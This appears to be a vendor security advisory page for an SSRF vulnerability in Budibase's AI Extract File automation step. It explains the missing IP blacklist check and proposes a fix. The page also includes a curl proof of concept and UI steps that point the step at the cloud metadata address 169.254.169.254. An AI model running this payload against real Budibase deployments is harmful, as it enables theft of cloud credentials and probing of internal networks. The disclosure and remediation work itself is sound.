GHSA-rpj4-7x2v-wjrf
HIGHGHSA-rpj4-7x2v-wjrf is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in @budibase/server. O3 Security confirms whether GHSA-rpj4-7x2v-wjrf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-rpj4-7x2v-wjrf.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rpj4-7x2v-wjrf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@budibase/servernpmDescription
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.
Vulnerable Code
packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetch(fileUrl) // NO blacklist check!
// ...
const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check!
}
Contrast with All Other Automation Steps (Same Codebase)
Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:
steps/slack.ts:19:response = await fetchWithBlacklist(url, {...})steps/discord.ts:28:response = await fetchWithBlacklist(url, {...})steps/zapier.ts:33:response = await fetchWithBlacklist(url, {...})steps/n8n.ts:53:response = await fetchWithBlacklist(url, request)steps/outgoingWebhook.ts:response = await fetchWithBlacklist(url, {...})steps/make.ts:response = await fetchWithBlacklist(url, {...})
The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:
127.0.0.0/8(loopback)10.0.0.0/8,172.16.0.0/12,192.168.0.0/16(RFC1918 private)169.254.0.0/16(link-local / cloud metadata)- IPv6 private addresses
The AI Extract File step bypasses all of these protections.
Steps to Reproduce
Via Budibase UI
- Login as builder user
- Create or open any app
- Go to Automations > New Automation
- Add trigger: App Action
- Add step: AI > Extract File Data
- Set Source:
URL - Set File URL:
http://169.254.169.254/latest/meta-data/(or any internal IP) - Click Run Test — the server makes the request without IP blacklist validation
Via curl (API)
# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
"http://BUDIBASE_HOST/api/global/auth/default/login" \
-X POST -H "Content-Type: application/json" \
-d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'
# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
"http://BUDIBASE_HOST/api/automations" \
-X POST -H "Content-Type: application/json" \
-H "x-budibase-app-id: YOUR_APP_ID" \
-d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'
Code Review Verification
Compare the vulnerable function with the safe pattern used everywhere else:
VULNERABLE (no blacklist):
packages/server/src/automations/steps/ai/extract.ts:116
const response = await fetch(fileUrl)
SAFE (with blacklist) - every other step:
packages/server/src/automations/steps/slack.ts:19
response = await fetchWithBlacklist(url, {...})
packages/server/src/automations/steps/discord.ts:28
response = await fetchWithBlacklist(url, {...})
Expected vs Actual Behavior
Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist()
Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.
Impact
An authenticated user with builder permissions can:
- Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
- Scan internal network services and ports
- Access internal APIs not intended for external access
- Exfiltrate data from internal services via the automation response
In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.
Proposed Fix
Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:
import { fetchWithBlacklist } from "../utils"
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Use blacklist
// ...
const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/server | all versions | 3.34.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @budibase/server to 3.34.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rpj4-7x2v-wjrf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rpj4-7x2v-wjrf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rpj4-7x2v-wjrf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rpj4-7x2v-wjrf in your dependencies?
O3 detects GHSA-rpj4-7x2v-wjrf across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.